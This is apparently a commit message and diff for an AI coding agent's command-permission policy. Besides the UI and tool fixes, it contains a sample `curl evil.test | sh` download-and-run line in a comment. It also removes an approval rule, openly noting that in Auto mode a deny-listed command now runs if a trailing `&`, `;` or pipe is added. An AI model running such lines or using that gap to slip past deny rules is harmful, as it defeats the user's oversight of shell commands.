A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/agent/policy.py

@@ -88,13 +88,27 @@ POLICY: dict[str, dict[str, str]] = {
 
 # A shell metacharacter makes a command line unmatchable, so no pattern may be
 # applied to it. Without this, `git *` in an allow list also matches
-# `git status; curl evil.test | sh`, which is the whole ballgame.
+# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
+# absolute and is what this constant exists for.
 #
-# The original reasoning stopped there, arguing a deny list needed no such care
-# because "failing open returns you to the mode". That is true of Manual, Edit
-# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So
-# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the
-# whole of the difference. See `decide`.
+# The deny list is the other half, and it has been decided both ways. There was
+# once a rule that an unmatchable line ASKed whenever a deny list existed at
+# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
+# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
+# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
+# with a pipe -- and a mode whose whole purpose is not asking asked about most
+# real commands. It was not a security control anybody experienced as one; it
+# was Auto appearing not to work.
+#
+# So an unmatchable line now falls through to the mode, and in Auto the mode is
+# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
+# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
+# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
+# list is untouched by the change and still cannot be matched at all.
+#
+# The upgrade that would restore both properties is to split a composed line on
+# these metacharacters and check every segment against the deny list only. It is
+# confined to `decide` and is worth doing; it is not done here.
 _UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
 
 
@@ -175,13 +189,15 @@ def decide(
 
     1. A deny wins before everything, **including Auto**. A deny list that Auto
        ignores is not a deny list, it is a suggestion.
-    2. A command line nobody can match is not a command line the deny list can
-       clear. See below.
-    3. `ask` never resolves to allow. `ask_user` asks in every mode; that is
+    2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
        what the tool is for, and a mode that skipped it would answer the
        model's question on the reader's behalf.
-    4. An allow-list hit runs it.
-    5. Otherwise the table.
+    3. An allow-list hit runs it.
+    4. Otherwise the table.
+
+    A command line carrying a shell metacharacter matches neither list, so it
+    reaches the table and Auto runs it. See the note above `_UNSAFE` for what
+    that trades away and why.
 
     An unrecognised mode is treated as Manual, not Auto: a row that predates a
     rename has to fail towards asking.
@@ -192,21 +208,6 @@ def decide(
     if hit:
         return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
 
-    # Unmatchable *and* somebody has said what to always ask about. Falling
-    # through here is what let `shutdown -h now &` run in Auto while
-    # `shutdown -h now` asked: `subject` returns None for anything containing a
-    # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW.
-    #
-    # Only when there is a deny list at all. Making every compound command ask
-    # regardless would take `cd build && make` -- which is most real commands --
-    # away from the mode whose whole purpose is not asking.
-    if candidate is None and deny:
-        return Decision(
-            ASK,
-            "This command line runs more than one thing, so it cannot be "
-            "checked against the list of commands to always ask about.",
-        )
-
     if risk == RISK_ASK:
         return Decision(ASK, "")